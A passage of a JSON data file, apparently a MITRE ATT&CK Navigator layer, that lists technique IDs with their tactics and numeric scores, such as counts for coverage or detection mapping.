\"T1505.001\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1021.003\",\n \"tactic\": \"lateral-movement\",\n \"score\": 13,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1047\",\n \"tactic\": \"execution\",\n \"score\": 50,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1087\",\n \"tactic\": \"discovery\",\n \"score\": 16,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053\",\n \"tactic\": \"execution\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053\",\n \"tactic\": \"persistence\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1053\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1569.002\",\n \"tactic\": \"execution\",\n \"score\": 43,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1112\",\n \"tactic\": \"defense-evasion\",\n \"score\": 95,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1112\",\n \"tactic\": \"persistence\",\n \"score\": 95,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1213\",\n \"tactic\": \"collection\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1021\",\n \"tactic\": \"lateral-movement\",\n \"score\": 10,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1498\",\n \"tactic\": \"impact\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1041\",\n \"tactic\": \"exfiltration\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1213.003\",\n \"tactic\": \"collection\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1195.001\",\n \"tactic\": \"initial-access\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1567.001\",\n \"tactic\": \"exfiltration\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1609\",\n \"tactic\": \"execution\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1611\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1036.005\",\n \"tactic\": \"defense-evasion\",\n \"score\": 18,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1069.003\",\n \"tactic\": \"discovery\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1021.004\",\n \"tactic\": \"lateral-movement\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1586\",\n \"tactic\": \"resource-development\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1591.004\",\n \"tactic\": \"reconnaissance\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1003.004\",\n \"tactic\": \"credential-access\",\n \"score\": 11,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1003.003\",\n \"tactic\": \"credential-access\",\n \"score\": 23,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1048\",\n \"tactic\": \"exfiltration\",\n \"score\": 11,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1021.002\",\n \"tactic\": \"lateral-movement\",\n \"score\": 37,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1557.001\",\n \"tactic\": \"credential-access\",\n \"score\": 10,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1557.001\",\n \"tactic\": \"collection\",\n \"score\": 10,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1187\",\n \"tactic\": \"credential-access\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1021.001\",\n \"tactic\": \"lateral-movement\",\n \"score\": 15,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1095\",\n \"tactic\": \"command-and-control\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.004\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1547.004\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1558.003\",\n \"tactic\": \"credential-access\",\n \"score\": 17,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1595.002\",\n \"tactic\": \"reconnaissance\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1071.004\",\n \"tactic\": \"command-and-control\",\n \"score\": 17,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1102.002\",\n \"tactic\": \"command-and-control\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1495\",\n \"tactic\": \"impact\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1505\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1565.002\",\n \"tactic\": \"impact\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1552.004\",\n \"tactic\": \"credential-access\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1561.001\",\n \"tactic\": \"impact\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1561.002\",\n \"tactic\": \"impact\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1124\",\n \"tactic\": \"discovery\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1557\",\n \"tactic\": \"credential-access\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1557\",\n \"tactic\": \"collection\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1037.005\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1037.005\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.014\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.014\",\n \"tactic\": \"persistence\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.003\",\n \"tactic\": \"persistence\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.003\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.003\",\n \"tactic\": \"initial-access\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1569.001\",\n \"tactic\": \"execution\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1543.001\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1543.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1543.004\",\n \"tactic\": \"persistence\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1543.004\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218\",\n \"tactic\": \"defense-evasion\",\n \"score\": 152,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1564.004\",\n \"tactic\": \"defense-evasion\",\n \"score\": 23,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1189\",\n \"tactic\": \"initial-access\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1564.002\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1555.001\",\n \"tactic\": \"credential-access\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1497.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1497.001\",\n \"tactic\": \"discovery\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1566.001\",\n \"tactic\": \"initial-access\",\n \"score\": 23,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1059.002\",\n \"tactic\": \"execution\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1056.002\",\n \"tactic\": \"collection\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1056.002\",\n \"tactic\": \"credential-access\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.001\",\n \"tactic\": \"persistence\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1078.001\",\n \"tactic\": \"initial-access\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1036.006\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1137.002\",\n \"tactic\": \"persistence\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1204.002\",\n \"tactic\": \"execution\",\n \"score\": 36,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1553\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1059.007\",\n \"tactic\": \"execution\",\n \"score\": 22,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1071\",\n \"tactic\": \"command-and-control\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1553.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1586.003\",\n \"tactic\": \"resource-development\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1590\",\n \"tactic\": \"reconnaissance\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1197\",\n \"tactic\": \"defense-evasion\",\n \"score\": 16,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1197\",\n \"tactic\": \"persistence\",\n \"score\": 16,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1102.001\",\n \"tactic\": \"command-and-control\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1102.003\",\n \"tactic\": \"command-and-control\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1568\",\n \"tactic\": \"command-and-control\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1595\",\n \"tactic\": \"reconnaissance\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1567.002\",\n \"tactic\": \"exfiltration\",\n \"score\": 13,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1056\",\n \"tactic\": \"collection\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1056\",\n \"tactic\": \"credential-access\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1221\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1499.004\",\n \"tactic\": \"impact\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1210\",\n \"tactic\": \"lateral-movement\",\n \"score\": 15,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1127\",\n \"tactic\": \"defense-evasion\",\n \"score\": 20,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218.011\",\n \"tactic\": \"defense-evasion\",\n \"score\": 43,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055\",\n \"tactic\": \"defense-evasion\",\n \"score\": 33,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 33,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055.003\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 2,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055.012\",\n \"tactic\": \"defense-evasion\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1055.012\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 5,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1059.005\",\n \"tactic\": \"execution\",\n \"score\": 26,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218.005\",\n \"tactic\": \"defense-evasion\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1555.005\",\n \"tactic\": \"credential-access\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1195.002\",\n \"tactic\": \"initial-access\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1482\",\n \"tactic\": \"discovery\",\n \"score\": 17,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1090.003\",\n \"tactic\": \"command-and-control\",\n \"score\": 3,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1559.001\",\n \"tactic\": \"execution\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218.010\",\n \"tactic\": \"defense-evasion\",\n \"score\": 19,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1003.005\",\n \"tactic\": \"credential-access\",\n \"score\": 8,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1134.001\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 9,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.003\",\n \"tactic\": \"privilege-escalation\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1546.003\",\n \"tactic\": \"persistence\",\n \"score\": 12,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1550.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1550.003\",\n \"tactic\": \"lateral-movement\",\n \"score\": 4,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1218.003\",\n \"tactic\": \"defense-evasion\",\n \"score\": 7,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": \"T1127.001\",\n \"tactic\": \"defense-evasion\",\n \"score\": 1,\n \"color\": \"\",\n \"comment\": \"\",\n \"enabled\": true,\n \"metadata\": [],\n \"links\": [],\n \"showSubtechniques\": false\n },\n {\n \"techniqueID\": 